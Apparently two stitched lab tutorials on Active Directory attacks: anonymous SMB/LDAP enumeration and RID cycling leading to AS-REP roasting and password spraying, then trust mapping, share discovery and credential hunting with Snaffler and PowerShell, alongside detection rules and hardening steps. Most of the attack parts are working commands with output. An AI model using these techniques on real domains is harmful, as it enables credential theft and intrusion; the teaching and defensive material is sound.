S-1-5-21-1004336348-1177238915-682003330-1106 LAB\svc_sql (1)
S-1-5-21-1004336348-1177238915-682003330-1108 LAB\SQL01$ (1)

The trailing (1) denotes SidTypeUser, (2) denotes SidTypeGroup. Machine accounts (SQL01$) show up as users too, so you filter the $ later. Impacket’s lookupsid.py automates the whole cycle, taking a max-RID argument:

lookupsid.py 'lab.local/'@10.10.10.10 1200 -no-pass | tee lookupsid_raw.txt
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Brute forcing SIDs at 10.10.10.10
[*] StringBinding ncacn_np:10.10.10.10[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-1004336348-1177238915-682003330
500: LAB\Administrator (SidTypeUser)
501: LAB\Guest (SidTypeUser)
502: LAB\krbtgt (SidTypeUser)
512: LAB\Domain Admins (SidTypeGroup)
1103: LAB\jsmith (SidTypeUser)
1104: LAB\asmith (SidTypeUser)
1106: LAB\svc_sql (SidTypeUser)
1107: LAB\svc_backup (SidTypeUser)
1108: LAB\SQL01$ (SidTypeUser)
1110: LAB\helpdesk (SidTypeUser)

Turn raw output into a clean username wordlist. Keep only SidTypeUser, drop machine accounts ending in $, and isolate the sAMAccountName.

grep SidTypeUser lookupsid_raw.txt | grep -v '\$' \
  | awk -F'\\\\' '{print $2}' | awk '{print $1}' > users.txt
cat users.txt
Administrator
Guest
krbtgt
jsmith
asmith
svc_sql
svc_backup
helpdesk
mjohnson
rpatel
lchen

NetExec performs the same cycle with one flag (note it often wants the anonymous username string rather than empty):

nxc smb 10.10.10.10 -u 'anonymous' -p '' --rid-brute 2000
SMB  10.10.10.10  445  DC01  [+] lab.local\anonymous:
SMB  10.10.10.10  445  DC01  498: LAB\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB  10.10.10.10  445  DC01  500: LAB\Administrator (SidTypeUser)
SMB  10.10.10.10  445  DC01  1103: LAB\jsmith (SidTypeUser)
SMB  10.10.10.10  445  DC01  1106: LAB\svc_sql (SidTypeUser)
SMB  10.10.10.10  445  DC01  1110: LAB\helpdesk (SidTypeUser)

And enum4linux-ng exposes a dedicated RID range mode:

enum4linux-ng -R 500-2000 10.10.10.10
 ====================================
|     RID Cycling on 10.10.10.10     |
 ====================================
[*] Trying SID S-1-5-21-1004336348-1177238915-682003330
[+] 500: LAB\Administrator (SidTypeUser)
[+] 1103: LAB\jsmith (SidTypeUser)
[+] 1106: LAB\svc_sql (SidTypeUser)
[+] 1110: LAB\helpdesk (SidTypeUser)
[+] Found 11 user accounts via RID cycling

A gotcha that cost me an afternoon early on: if you cycle RIDs but get nothing back while enumdomusers was already blocked, check the “Allow anonymous SID/Name translation” policy. With it disabled, lookupsids returns *unknown* for every RID and you wrongly conclude the host is hardened, when really the other path is just closed.


10. Attack Chain: From Zero Credentials to a Target User List

The three primitives are not independent tricks; they reinforce each other. The chain runs like this:

  1. SMB null session confirms access and yields the domain SID via lsaquery.
  2. LDAP anonymous bind enriches the picture with group membership, UAC flags, and description fields (where svc_sql‘s password lives).
  3. RID cycling rebuilds the complete validated username list even if direct enumeration is partially blocked.

The users.txt you produced is the input to the first zero-credential offensive move: AS-REP roasting. Accounts with DONT_REQ_PREAUTH set (you spotted helpdesk earlier) will hand you an encrypted AS-REP blob crackable offline, no password required.

GetNPUsers.py lab.local/ -no-pass -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jsmith doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$helpdesk@LAB.LOCAL:9f86d081884c7d659a2feaa0c55ad015$a3f1e0...c2b7d4e8f
[-] User svc_sql doesn't have UF_DONT_REQUIRE_PREAUTH set

That $krb5asrep$23$... hash feeds straight into hashcat -m 18200. Separately, the validated list plus the known policy (lockout 5, complexity on) lets you run a careful spray with the description-leaked candidate:

nxc smb 10.10.10.10 -u users.txt -p 'Summer2024!' --continue-on-success
SMB  10.10.10.10  445  DC01  [-] lab.local\Administrator:Summer2024! STATUS_LOGON_FAILURE
SMB  10.10.10.10  445  DC01  [-] lab.local\jsmith:Summer2024! STATUS_LOGON_FAILURE
SMB  10.10.10.10  445  DC01  [+] lab.local\svc_sql:Summer2024!

You started with no credentials. You now hold svc_sql, sourced directly from a description field that anonymous LDAP leaked. That is the pivot into the authenticated phase of the engagement.


Attack chain flowchart progressing from zero credentials through SMB null session, LDAP anonymous bind, and RID cycling, then forking into AS-REP roasting and password spraying to yield valid domain credentials
The three enumeration primitives chain together to turn a bare network connection into valid credentials before a single password is guessed.

11. Common Attacker Techniques

TechniqueDescription
SMB null sessionAnonymous IPC$ connect to reach SAMR/LSARPC/SRVSVC pipes
SAMR enumerationenumdomusers/enumdomgroups to pull the roster directly
LSARPC policy querylsaquery to recover the domain SID
LDAP anonymous bindRead users, groups, computers, UAC flags, descriptions
Description-field miningHarvest plaintext passwords admins leave in description
RID cyclingSID/Name translation across a RID range to rebuild the user list
List weaponizationFeed usernames into AS-REP roasting and password spraying

12. Defensive Strategies & Detection

Every step above leaves tracks if auditing is on. The signature event is the ANONYMOUS LOGON (SID S-1-5-7) network logon, often immediately followed by IPC$ share access and a burst of SID/Name translations.

Event IDSourceWhat to Watch For
4624SecurityLogon Type 3 where Account Name is ANONYMOUS LOGON
4625SecuritySame anonymous pattern on blocked attempts
5140SecurityShare access to \\*\IPC$ from an anonymous source
4798SecurityA user’s local group membership enumerated
4799SecuritySecurity-enabled local group membership enumerated
4688 / Sysmon 1Security / Sysmonrpcclient, enum4linux, ldapsearch, lookupsid.py, nxc in the command line (on attacker-side or jump hosts you control)

RID cycling has a loud tell: a rapid run of 4624/5140 from one source plus high-volume SID lookups. On the DC’s directory service side, two events matter. Event 2889 (in the Directory Service log) records LDAP binds performed without signing, which flags both anonymous and cleartext binds. Event 1644 logs expensive or inefficient LDAP queries once you raise diagnostics:

HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics\15 Field Engineering = 5

Relevant ETW providers:

ProviderSurfaces
Microsoft-Windows-Security-AuditingAll Security event IDs above
Microsoft-Windows-SMBServerNamed-pipe and share access correlating IPC$
Microsoft-Windows-ActiveDirectory_DomainServiceLDAP bind/query volume, base DN, filters, attributes (Events 2889, 1644)

A correlation rule that fires on the anonymous-logon-then-IPC$ sequence catches the entry point cleanly:

title: SMB Anonymous Logon to IPC$ (Null Session Enumeration)
status: experimental
logsource:
    product: windows
    service: security
detection:
    selection_logon:
        EventID: 4624
        LogonType: 3
        SubjectUserName: 'ANONYMOUS LOGON'
    selection_share:
        EventID: 5140
        ShareName: '\\*\IPC$'
        SubjectUserName: 'ANONYMOUS LOGON'
    timeframe: 1m
    condition: selection_logon and selection_share
falsepositives:
    - Legacy applications requiring anonymous access
level: high
tags:
    - attack.discovery
    - attack.t1087.002
    - attack.t1069.002
    - attack.t1135

None of this fires without the right audit policy. Enable, via Computer Config > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration:

  • Logon/Logoff: Audit Logon – Success and Failure (4624/4625)
  • Object Access: Audit File Share – Success and Failure (5140)
  • Account Management: Audit Security Group Management – Success (4798/4799)
  • DS Access: Audit Directory Service Access – Success (LDAP query visibility)

13. Hardening and Defense

The fix is straightforward once you accept it may break a legacy dependency. Reverse the lab changes and lock the directory down.

# Close anonymous SMB/SAM enumeration
$lsa = 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa'
Set-ItemProperty -Path $lsa -Name RestrictAnonymous       -Value 1 -Type DWord
Set-ItemProperty -Path $lsa -Name RestrictAnonymousSAM    -Value 1 -Type DWord
Set-ItemProperty -Path $lsa -Name EveryoneIncludesAnonymous -Value 0 -Type DWord

# Enforce LDAP signing and channel binding
$ntds = 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters'
Set-ItemProperty -Path $ntds -Name 'LDAPServerIntegrity'        -Value 2 -Type DWord
Set-ItemProperty -Path $ntds -Name 'LdapEnforceChannelBinding'  -Value 2 -Type DWord

Apply the matching Group Policy under Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options:

MitigationSetting
Restrict anonymous to named pipes/sharesEnabled
Do not allow anonymous enumeration of SAM accountsEnabled
Do not allow anonymous enumeration of SAM accounts and sharesEnabled
Allow anonymous SID/Name translationDisabled (kills RID cycling)
LDAP server signing requirementsRequire signing

Then close the LDAP anonymous bind by resetting dsHeuristics so character 7 is not 2 (clear it or set it to 0), remove ANONYMOUS LOGON from the legacy compatibility group, and enforce encrypted LDAPS:

net localgroup "Pre-Windows 2000 Compatible Access"
Members
-------------------------------------------------------------------------------
NT AUTHORITY\Authenticated Users
The command completed successfully.

If ANONYMOUS LOGON appears in that list, remove it. Finally, segment the network: block 139, 445, 389, and 636 at the perimeter and restrict DC reachability to subnets that legitimately need it. Server 2016 and later disable null sessions by default, so the lasting risk is migration drift and vendor exceptions. Audit those exceptions on a schedule, not once.


Illustration of a sealed iron gate blocking a server corridor with broken intrusion tools discarded in front, symbolizing hardened anonymous-access controls
Disabling anonymous SID translation, enforcing LDAP signing, and setting RestrictAnonymous closes every path this tutorial exploited.

14. Tools for Anonymous Enumeration Analysis

ToolDescriptionLink
rpcclientManual SAMR/LSARPC/SRVSVC calls over null sessionsamba.org
smbclientList shares and connect over SMBsamba.org
enum4linux-ngAutomated null-session and RID-cycle enumerationgithub.com/cddmp/enum4linux-ng
NetExec (nxc)SMB/LDAP modules, --users, --rid-brute, --pass-polnetexec.wiki
ldapsearchAnonymous LDAP bind and searchopenldap.org
windapsearchModule-driven LDAP enumerationgithub.com/ropnop/windapsearch
Impacket lookupsid.pyAutomated RID cycling via LSARPCgithub.com/fortra/impacket
ldap3 (Python)Programmatic anonymous binds and custom collectorspypi.org
WiresharkInspect SMB negotiate, BINDRequest, RPC pipe trafficwireshark.org

15. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Account Discovery: Domain AccountT1087.0024624 anonymous + SAMR/LDAP query bursts; Sysmon 1 on enum tooling
Permission Groups Discovery: Domain GroupsT1069.0024799 group enumeration; LDAP (objectClass=group) queries via 1644
Network Share DiscoveryT11355140 IPC$ access; netshareenum over srvsvc
Gather Victim Network Information: Domain PropertiesT1590.001lsaquery/rootDSE reads; 2889 unsigned binds
Gather Victim Identity Information: CredentialsT1589.001LDAP reads of description attribute (Event 1644)

Primary tactic: TA0007 (Discovery). For pre-compromise external probing of exposed LDAP/SMB: TA0043 (Reconnaissance).


Summary

  • Anonymous SMB and LDAP turn zero credentials into a full domain map: users, groups, policy, shares, and the domain SID. The primitives are legacy compatibility features that survive in upgraded and misconfigured domains.
  • The chain compounds: null session yields the domain SID via lsaquery, LDAP anonymous bind leaks UAC flags and description-field passwords, and RID cycling rebuilds the user list even when direct enumeration is blocked.
  • RID cycling is the resilient link because SID/Name translation is governed separately from RestrictAnonymous; leave “Allow anonymous SID/Name translation” enabled and the roster leaks one RID at a time.
  • The output is a weaponized username list feeding AS-REP roasting (GetNPUsers.py) and policy-aware password spraying, the pivot into the authenticated phase.
  • Detect via Event 4624 (ANONYMOUS LOGON, Type 3) correlated with 5140 IPC$ access, plus Directory Service Events 2889 and 1644; eliminate via RestrictAnonymous=1/RestrictAnonymousSAM=1, disabled anonymous SID translation, LDAP signing and channel binding, and a dsHeuristics that does not enable anonymous bind.

Related Tutorials

References

Trust, Share, and File Hunting: Mapping the Forest and Finding Credentials in Data

Objective: Learn to enumerate Active Directory trust relationships across domains and forests, discover and access SMB shares at scale, and harvest credentials and sensitive data from files left lying on those shares – then see exactly how a defender catches every step. Everything here runs against a self-built lab forest.


Most red-team reports I have written that ended in Domain Admin did not start with a flashy zero-day. They started with a low-privileged user account, a map of the forest, and a file share that somebody forgot to lock down ten years ago. Trust enumeration tells you where you can go. Share enumeration tells you what is reachable. File hunting tells you what is sitting there in cleartext. Chain those three and you frequently skip half the kill chain.

This guide is enumeration-first throughout. For every technique I show the recon that surfaces the opportunity before I touch the exploitation, because the finding is what teaches you, not the syntax.


1. Forest Architecture Primer

A forest is the top-level security boundary in Active Directory. Inside it live one or more domains arranged into trees that share a schema, a configuration partition, and a global catalog. A trust is a relationship that lets principals in one domain authenticate against resources in another. Trusts are why a compromise of a low-value child domain so often turns into a compromise of the entire forest.

When a user in child.corp.local requests a service in corp.local, Kerberos does not magically know about the foreign account. The child DC issues an inter-realm TGT (referral ticket) encrypted with the shared trust key that both domains negotiated when the trust was created. The user presents that referral to the target domain’s KDC, which trusts it because it can decrypt it. The PAC (Privilege Attribute Certificate) inside the ticket carries the user’s SIDs, and this is precisely where SID filtering and SID-History injection become relevant.

Trust Types

Trust TypeDescription
Parent-ChildAutomatic, transitive trust created between a parent domain and its child in the same tree (corp.local and child.corp.local).
Tree-RootAutomatic, transitive trust between forest root and the root of a new tree in the same forest.
Cross-Link (Shortcut)Manually created transitive trust to shorten the referral path between two child domains.
ExternalNon-transitive trust to a domain in a different forest or an NT4 domain. SID filtering is on by default.
ForestTransitive trust between two forest roots; extends trust to all domains in both forests.
RealmTrust to a non-Windows Kerberos realm (MIT/Heimdal).

Trust Direction and Transitivity

Direction decides who can reach whom. A one-way outbound trust from A to B means B’s users can access A’s resources, not the other way around. A bidirectional trust works both ways. The LDAP trustDirection attribute on a trustedDomain object encodes this:

trustDirection ValueMeaning
1Inbound (trusted domain trusts this one)
2Outbound (this domain trusts the partner)
3Bidirectional

Transitivity means trust flows through. If A trusts B and B trusts C transitively, A effectively trusts C. Intra-forest trusts are always transitive. External trusts are not, which is exactly why attackers prefer to find a forest trust.

SID Filtering and Why It Matters

When a referral ticket crosses a trust, its PAC contains the user’s SID plus any SIDs in the SIDHistory attribute. SID filtering is the guardrail: the trusting domain strips foreign SIDs that do not belong to the trusted domain, including anything injected into SID history. If SID filtering is disabled or never enforced (common on older external trusts and on intra-forest trusts, where it is off by design), an attacker who controls the trusted domain can stuff a privileged SID such as the Enterprise Admins RID into the PAC and walk across the boundary. That downstream attack is SID-History Injection (T1134.005). Our job in enumeration is to find which trusts leave that door open.

The Get-ADTrust cmdlet surfaces this directly through SIDFilteringQuarantined and SIDFilteringForestAware. When SIDFilteringQuarantined is False on an external trust, the quarantine is off and the trust is abusable.


2. Building the Lab

Stand up a small two-domain forest plus an optional second forest in your hypervisor of choice. Windows Server Evaluation media works fine for the DCs.

VMRoleIP
DC01.corp.localForest root DC (Server 2022)192.168.10.10
FS01.corp.localFile server (Server 2019)192.168.10.20
WS01.corp.localWindows 11 workstation (foothold)192.168.10.50
DC02.child.corp.localChild domain DC (Server 2022)192.168.20.10
DC.partner.localSecond forest root (Server 2022)192.168.30.10
Kali LinuxAttacker box192.168.10.100

Intentional misconfigurations to seed:

  • \\FS01\IT_Scripts with NTFS ACL Authenticated Users: Read. Drop a deploy.ps1 containing $cred = "Summer2024!".
  • \\FS01\Backups with Everyone: Read. Drop a web.config containing <add key="DBPassword" value="Summer2024!"/> and an unattend.xml with <AutoLogon><Password><Value>LabPass1</Value></Password></AutoLogon>.
  • On DC01, create a GPO that uses Group Policy Preferences to set a local Administrator password. This writes a Groups.xml with a cpassword to SYSVOL. Make that password match the local Administrator on FS01.
  • On DC02, leave \\DC02\NETLOGON\setup_notes.txt containing svc_sql / P@ssw0rd123.
  • Configure a forest trust between corp.local and partner.local with SID filtering disabled.

Your foothold is the domain user corp\jdoe (password Password1), the kind of account you get from a phishing payload or a captured credential.


3. Trust Enumeration: APIs, LDAP, and Native Tools

Before touching shares, map the terrain. Every trust you find is a potential lateral or escalation path, and the cheapest way to enumerate trusts is with tools already on the host.

Under the hood, most trust enumerators call the Win32 API DSEnumerateDomainTrusts() from Netapi32.dll. It returns a NETLOGON_TRUSTED_DOMAIN_ARRAY, which is a count plus a pointer to an array of DS_DOMAIN_TRUSTS structures. Each entry describes one trust.

// Illustrative shapes - verify field names against current Microsoft Learn docs.
typedef struct _DS_DOMAIN_TRUSTS {
    LPTSTR NetbiosDomainName;   // e.g. "CHILD"
    LPTSTR DnsDomainName;       // e.g. "child.corp.local"
    ULONG  Flags;               // DS_DOMAIN_IN_FOREST, DS_DOMAIN_DIRECT_OUTBOUND, ...
    ULONG  ParentIndex;
    ULONG  TrustType;
    ULONG  TrustAttributes;     // bitfield: forest, quarantine/SID-filter, etc.
    PSID   DomainSid;           // the trusted domain SID
    GUID   DomainGuid;
} DS_DOMAIN_TRUSTS, *PDS_DOMAIN_TRUSTS;

typedef struct _NETLOGON_TRUSTED_DOMAIN_ARRAY {
    DWORD DomainCount;
    PDS_DOMAIN_TRUSTS Domains;
} NETLOGON_TRUSTED_DOMAIN_ARRAY;

The Flags field tells you direction (DS_DOMAIN_DIRECT_OUTBOUND, DS_DOMAIN_DIRECT_INBOUND) and whether the domain sits inside the forest (DS_DOMAIN_IN_FOREST). DomainSid is the gold: that SID is what you need for any SID-history work later.

Native enumeration with nltest

nltest.exe ships on every Windows host and wraps the same API. It is also a known adversary tool, so expect it to be watched.

C:\> nltest /domain_trusts /all_trusts
List of domain trusts:
    0: CORP corp.local (NT 5) (Forest Tree Root) (Primary Domain) (Native)
    1: CHILD child.corp.local (NT 5) (Direct Outbound) (Direct Inbound) (Attr: within_forest)
    2: PARTNER partner.local (NT 5) (Direct Outbound) (Direct Inbound) (Forest: 1)
The command completed successfully

Three trusts. CHILD is intra-forest (note within_forest). PARTNER is a forest trust (Forest: 1) to a different forest, which is the high-value path because forest trusts are transitive.

Identify a DC in each domain so you know where to aim queries and tickets:

C:\> nltest /dclist:child.corp.local
Get list of DCs in domain 'child.corp.local' from '\\DC02.child.corp.local'.
    DC02.child.corp.local [PDC] [DS] Site: Default-First-Site-Name
The command completed successfully

netdom and Get-ADTrust

netdom query trust gives a cleaner direction column:

C:\> netdom query trust /Domain:corp.local
Direction  Trusted\Trusting domain          Trust type
=========  =======================          ==========
<->        child.corp.local                 Direct
<->        partner.local                    Forest
The command completed successfully.

Get-ADTrust (RSAT ActiveDirectory module) reads the trustedDomain object class via LDAP and is the single best tool for spotting SID-filtering state:

Get-ADTrust -Filter * | Select Source,Target,Direction,TrustType,ForestTransitive,SIDFilteringQuarantined,SIDFilteringForestAware
Source            : DC=corp,DC=local
Target            : child.corp.local
Direction         : BiDirectional
TrustType         : Uplevel
ForestTransitive  : False
SIDFilteringQuarantined : False
SIDFilteringForestAware : False

Source            : DC=corp,DC=local
Target            : partner.local
Direction         : BiDirectional
TrustType         : Uplevel
ForestTransitive  : True
SIDFilteringQuarantined : False
SIDFilteringForestAware : False

That partner.local row is the prize. A bidirectional, forest-transitive trust with SIDFilteringQuarantined : False means foreign SIDs are not being stripped. If you can get control inside one forest, SID-history injection across this trust is on the table.

Reading trustedDomain objects directly over LDAP

When you have no RSAT and only network access from Kali, query the raw trustedDomain objects under CN=System:

ldapsearch -x -H ldap://192.168.10.10 -D 'jdoe@corp.local' -w 'Password1' \
  -b "CN=System,DC=corp,DC=local" "(objectClass=trustedDomain)" \
  trustPartner trustDirection trustType trustAttributes securityIdentifier
# child.corp.local, System, corp.local
dn: CN=child.corp.local,CN=System,DC=corp,DC=local
trustPartner: child.corp.local
trustDirection: 3
trustType: 2
trustAttributes: 32
securityIdentifier:: AQQAAAAAAAUVAAAAr8Y0u0Yp8h0wPq1y

# partner.local, System, corp.local
dn: CN=partner.local,CN=System,DC=corp,DC=local
trustPartner: partner.local
trustDirection: 3
trustType: 2
trustAttributes: 8
securityIdentifier:: AQQAAAAAAAUVAAAAQUFBQkJCQkNDQ0NE

Decode trustAttributes: 32 is 0x20 = TRUST_ATTRIBUTE_WITHIN_FOREST (the child). 8 is 0x8 = TRUST_ATTRIBUTE_FOREST_TRANSITIVE (the partner forest trust). The 0x4 bit, TRUST_ATTRIBUTE_QUARANTINED_DOMAIN, governs SID filtering on external trusts; its absence on a trust where you expected it is your signal that filtering is not enforced. The securityIdentifier is the trusted domain SID, base64-encoded here, and it is exactly what feeds a SID-history attack later.


Flow diagram showing Kerberos inter-realm ticket referral from a child domain user through the child KDC to the root KDC and finally to the target service in corp.local
A child-domain user’s authentication crosses the trust boundary via an inter-realm TGT encrypted with the shared trust key; the PAC inside carries the SIDs that SID filtering either strips or passes through.

4. Forest Mapping with PowerView and BloodHound

Native tools tell you trusts exist. PowerView and BloodHound tell you what those trusts let you reach.

PowerView

Import-Module .\PowerView.ps1
Get-DomainTrust
SourceName      : corp.local
TargetName      : child.corp.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection  : Bidirectional
WhenCreated     : 3/14/2024 9:02:11 AM

SourceName      : corp.local
TargetName      : partner.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Bidirectional
WhenCreated     : 3/14/2024 9:41:55 AM

Get-ForestTrust enumerates the cross-forest relationships by calling GetAllTrustRelationships() on a System.DirectoryServices.ActiveDirectory.Forest object:

Get-ForestTrust
TopLevelNames           : {partner.local}
ExcludedTopLevelNames   : {}
TrustedDomainInformation : {partner.local}
SourceName              : corp.local
TargetName              : partner.local
TrustType               : Forest
TrustDirection          : Bidirectional

Because the intra-forest trust is transitive and bidirectional, your jdoe token can query the child domain directly. Prove it by enumerating users across the trust:

Get-DomainUser -Domain child.corp.local -Properties samaccountname,description | ft
samaccountname  description
--------------  -----------
Administrator   Built-in account for administering the domain
krbtgt          Key Distribution Center Service Account
svc_sql         SQL service account - see setup_notes
helpdesk        Tier 2 helpdesk

That description on svc_sql is a breadcrumb pointing straight at the NETLOGON file we will read in Phase 4.

BloodHound

Collect everything, trusts included. Run SharpHound from the foothold:

PS C:\> .\SharpHound.exe --CollectionMethod All,Trusts --Domain corp.local --ZipFilename corp_data.zip
2024-06-12T14:22:01.55-04:00|INFORMATION|Initializing SharpHound at 2:22 PM on 6/12/2024
2024-06-12T14:22:02.10-04:00|INFORMATION|Loaded cache with stats: 0 ID to type mappings.
2024-06-12T14:22:45.11-04:00|INFORMATION|Status: 1842 objects finished (+1842 41.86/s) -- Using 84 MB RAM
2024-06-12T14:22:46.88-04:00|INFORMATION|Enumeration finished in 00:00:45.77
2024-06-12T14:22:47.99-04:00|INFORMATION|SharpHound Enumeration Completed at 2:22 PM on 6/12/2024! Happy Graphing!

Load the zip into BloodHound CE and run the built-in queries plus a couple of raw Cypher queries:

// Map every trust edge in the graph
MATCH (n:Domain)-[r:TrustedBy]->(m:Domain) RETURN n,r,m
// Shortest path from your owned user to Domain Admins in the child domain
MATCH p=shortestPath((u:User {name:"JDOE@CORP.LOCAL"})-[*1..]->
  (g:Group {name:"DOMAIN ADMINS@CHILD.CORP.LOCAL"})) RETURN p

The graph confirms the TrustedBy edges between CORP.LOCAL, CHILD.CORP.LOCAL, and PARTNER.LOCAL, and any cross-domain admin path the data supports. Now we know where the doors are. Time to find what is behind them.


5. SMB Share Discovery: From LDAP Computer List to NetShareEnum

Share hunting is a two-stage operation. First, get the list of computers from LDAP. Second, ask each one for its shares.

Share enumeration tools call DsGetDcName() to find a DC, query LDAP for every objectClass=computer, then fire NetShareEnum() at each host. NetShareEnum is an MSRPC call that travels over SMB through the srvsvc named pipe, and that pipe is only reachable via the IPC$ administrative share. That detail matters for detection: a single source touching IPC$ on dozens of hosts in seconds is the fingerprint of automated share discovery.

Enumerate the computer list first

Get-DomainComputer -Properties dnshostname,operatingsystem | ft
dnshostname            operatingsystem
-----------            ---------------
DC01.corp.local        Windows Server 2022 Standard
FS01.corp.local        Windows Server 2019 Standard
WS01.corp.local        Windows 11 Enterprise

Discover shares with NetExec

NetExec (the maintained CrackMapExec successor) sweeps a subnet and reports shares with your access level:

netexec smb 192.168.10.0/24 -u jdoe -p 'Password1' --shares
SMB  192.168.10.10  445  DC01  [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:corp.local) (signing:True) (SMBv1:False)
SMB  192.168.10.10  445  DC01  [+] corp.local\jdoe:Password1
SMB  192.168.10.10  445  DC01  Share        Permissions   Remark
SMB  192.168.10.10  445  DC01  -----        -----------   ------
SMB  192.168.10.10  445  DC01  NETLOGON     READ          Logon server share
SMB  192.168.10.10  445  DC01  SYSVOL       READ          Logon server share
SMB  192.168.10.20  445  FS01  [*] Windows Server 2019 Build 17763 x64 (name:FS01) (domain:corp.local) (signing:False) (SMBv1:False)
SMB  192.168.10.20  445  FS01  [+] corp.local\jdoe:Password1
SMB  192.168.10.20  445  FS01  Share        Permissions   Remark
SMB  192.168.10.20  445  FS01  -----        -----------   ------
SMB  192.168.10.20  445  FS01  ADMIN$                     Remote Admin
SMB  192.168.10.20  445  FS01  Backups      READ
SMB  192.168.10.20  445  FS01  C$                         Default share
SMB  192.168.10.20  445  FS01  IPC$         READ          Remote IPC
SMB  192.168.10.20  445  FS01  IT_Scripts   READ
SMB  192.168.10.20  445  FS01  NETLOGON     READ          Logon server share

Backups and IT_Scripts on FS01 are non-default STYPE_DISKTREE shares granting READ to a plain domain user. Also note signing:False on FS01, an NTLM relay opportunity for another day.

Confirm and test access with SMBMap and Nmap

SMBMap validates exactly what you can read or write per share, and supports pass-the-hash:

smbmap -u jdoe -p 'Password1' -d corp.local -H 192.168.10.20
[+] IP: 192.168.10.20:445   Name: FS01.corp.local       Status: Authenticated
        Disk            Permissions     Comment
        ----            -----------     -------
        ADMIN$          NO ACCESS       Remote Admin
        Backups         READ ONLY
        C$              NO ACCESS       Default share
        IPC$            READ ONLY       Remote IPC
        IT_Scripts      READ ONLY
        NETLOGON        READ ONLY       Logon server share

The Nmap NSE scripts corroborate findings from a third angle and are handy when you want a portable, audit-friendly artifact:

nmap -p 445 --script smb-enum-shares \
  --script-args smbusername=jdoe,smbpassword=Password1 192.168.10.20
PORT    STATE SERVICE
445/tcp open  microsoft-ds
| smb-enum-shares:
|   account_used: corp.local\jdoe
|   \\192.168.10.20\Backups:
|     Type: STYPE_DISKTREE
|     Anonymous access: <none>
|     Current user access: READ
|   \\192.168.10.20\IT_Scripts:
|     Type: STYPE_DISKTREE
|     Current user access: READ

PowerView from the foothold

If you would rather stay on WS01 and avoid network tooling, PowerView’s Find-DomainShare wraps NetShareEnum against every computer object:

Find-DomainShare -CheckShareAccess
Name       Type Remark             ComputerName
----       ---- ------             ------------
Backups       0                    FS01.corp.local
IT_Scripts    0                    FS01.corp.local
NETLOGON      0 Logon server share DC01.corp.local
SYSVOL        0 Logon server share DC01.corp.local

-CheckShareAccess filters down to shares the current token can actually open, which is what you want when the domain has hundreds of computers.


Graph diagram tracing the NetShareEnum call chain from an attacker tool querying LDAP for computers, connecting to IPC dollar sign, opening the srvsvc named pipe, and receiving the share list
Mass share discovery pivots on IPC$ and the srvsvc named pipe – a single source touching IPC$ on dozens of hosts in seconds is the key detection fingerprint.

6. Automated Share Permission Analysis

Knowing a share exists is not the same as knowing it is misconfigured. PowerHuntShares automates the whole pipeline: enumerate domain computers, filter to those with TCP 445 open, enumerate shares and their NTFS/share ACLs, then flag excessive privileges.

Invoke-HuntSMBShares -Threads 50 -OutputDirectory C:\Temp\ `
  -DomainController 192.168.10.10 -Credential corp\jdoe
 ---------------------------------------------------------------
 SHARE ANALYSIS
 ---------------------------------------------------------------
 [*] 3 domain computers found.
 [*] 2 computers responded on TCP 445.
 [*] 9 shares discovered.
 [*] 4 shares excluded (default).
 [*] 5 shares remaining for analysis.
 [*] 2 shares configured with excessive privileges.
 [*] 2 shares allow READ access to Everyone / Authenticated Users.
 [*] 0 shares allow WRITE access.

 Excessive-privilege shares written to:
   C:\Temp\SmbShareHunt-20240612\Results\Inventory-Excessive-Privileges.csv

Open Inventory-Excessive-Privileges.csv. The high-risk indicators are ACEs that grant Everyone, BUILTIN\Users, or Authenticated Users read or write at the share or NTFS layer:

ComputerName,ShareName,SharePath,IdentityReference,FileSystemRights,ShareAccess
FS01.corp.local,Backups,\\FS01\Backups,Everyone,Read,Read
FS01.corp.local,IT_Scripts,\\FS01\IT_Scripts,NT AUTHORITY\Authenticated Users,ReadAndExecute,Read

Two findings, both readable by any account in the domain. Everyone: Read on Backups is the worst because it does not even require domain membership. These are the shares to crawl first.


7. File Hunting and Credential Extraction

Now the payoff. The fastest tool for credential hunting at scale is Snaffler, which crawls reachable shares and classifies files by regex rules into severity buckets (Black is most interesting, then Red, Yellow, Green).

Snaffler.exe -s -d corp.local -o snaffler.log -v data
[Share] {Black}(\\FS01\Backups)
[Share] {Black}(\\FS01\IT_Scripts)
[File] {Black}<KeepCertExtRegex|R|id_rsa|1.6kB>(\\FS01\Backups\keys\id_rsa) -----BEGIN OPENSSH PRIVATE KEY-----
[File] {Red}<KeepConfigRegexRed|R|web.config|1.2kB>(\\FS01\Backups\web.config) <add key="DBPassword" value="Summer2024!"/>
[File] {Red}<KeepPasswordRegexRed|R|unattend.xml|2.1kB>(\\FS01\Backups\unattend.xml) <Value>LabPass1</Value>
[File] {Black}<KeepInScript|R|deploy.ps1|312B>(\\FS01\IT_Scripts\deploy.ps1) $cred = "Summer2024!"
[File] {Red}<KeepPasswordRegexRed|R|setup_notes.txt|48B>(\\DC02\NETLOGON\setup_notes.txt) svc_sql / P@ssw0rd123

Five hits in seconds: an SSH private key, a DB password in web.config, an autologon password in unattend.xml, a hardcoded credential in a deploy script, and the svc_sql password our LDAP description field hinted at. This is what every internal engagement looks like.

Manual content sweep

When you cannot drop a binary, a PowerShell sweep does the same job with built-ins:

Get-ChildItem \\FS01\Backups -Recurse -Include *.xml,*.config,*.ps1,*.bat,*.ini,*.txt -ErrorAction SilentlyContinue |
  Select-String -Pattern 'password|passwd|cred|secret|token|cpassword' |
  Select-Object Path,LineNumber,Line | Format-Table -Wrap
Path                              LineNumber Line
----                              ---------- ----
